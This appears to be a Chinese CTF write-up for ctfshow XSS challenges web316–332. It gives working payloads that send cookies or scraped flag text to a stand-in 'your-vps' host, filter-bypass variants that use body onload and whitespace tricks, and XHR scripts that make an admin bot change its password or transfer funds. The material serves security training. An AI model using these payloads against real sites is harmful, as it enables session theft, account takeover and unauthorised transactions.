以前忘上传的水文

XSS

web316

image-20241108013532216

在F12-控制台执行document.cookie,可以看到自己的cookie,提示需要admin,说明只要拿到bot的cookie就拿到flag,即flag在cookie中

image-20241108014214582

直接vps nc监听,构造一个js,用于bot对vps进行请求

<script>location.href="http://your-vps/"+document.cookie</script>

要注意的是如果直接浏览器请求很容易X到自己

当你提交这个js脚本给服务器,服务器会返回给你,而你的浏览器会立即解析该js,再由你的浏览器向你的vps请求

而bot是间断取获取该页面

所以我选择bp发包

image-20241108015346637

而X到自己可能是这样的

image-20241108015810938

web317

过滤了<script>

利用<body>标签

<body onload="location.href='http://your-vps/' + document.cookie"></body>

image-20241108021718387

web318

web317

web319

web317

web320

一个小技巧,看页面是否跳转来判断是否xss成功

过滤了空格

可以用/**/%0a%09/绕过

<body/onload="location.href='http://your-vps/'+document.cookie"></body>

web321

web320

web322

web320

web323

web320

web324

web320

web325

web320

web326

web320

web327

需要发给admin

<body/**/onload="window.location.href='http://your-vps/'+document.cookie"></body>

image-20241108165106591

image-20241108165221604

web328

可能存在XSS

image-20241108171431088

注册用户名或者密码用js

<script>location.href="http://your-vps/"+document.cookie</script>

拿到admin的cookie

image-20241108171634669

浏览器中改cookie显示admin,但对api接口的请求依旧用的原登录cookie

image-20241108174453889

单独对该接口请求

image-20241108174639137

web329

按照上题的方法拿cookie发现是失效的

原来是bot变聪明了,每次登录后刷新cookie了

那我们可以构造一个脚本让bot读flag然后发送到vps上

image-20241108230721367

使用 jQuery 选择器 $('.laytable-cell-1-0-1') 找到页面中类名为 laytable-cell-1-0-1 的所有元素,each 函数用于遍历每个匹配的元素,将 index 作为元素的索引,value 作为元素的实际对象传递给回调函数。

wei

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
	if(value.innerText.indexOf('ctfshow{')>-1)
	{location.href='http://your-vps/1.php?1='+value.innerText}
});
</script>

image-20241108230948664

web330

发现可以修改密码

image-20241108231606531

抓一个api

image-20241108232121297

我们只需要构造一个js,让bot去访问这个接口即可

<script>location.href="http://33677a98-402b-425b-a19f-ca42b5c50214.challenge.ctf.show/api/change.php?p=n0o0b"</script>

image-20241108233717255

web331

变成post请求了

image-20241108234053693

构造post请求js

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1/api/change.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("p=n0o0b");
</script>

image-20241108235118705

web332

admin肯定有钱,让admin转给我们

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1/api/amount.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("u=n0o0b&a=9999");
</script>

image-20241109001642999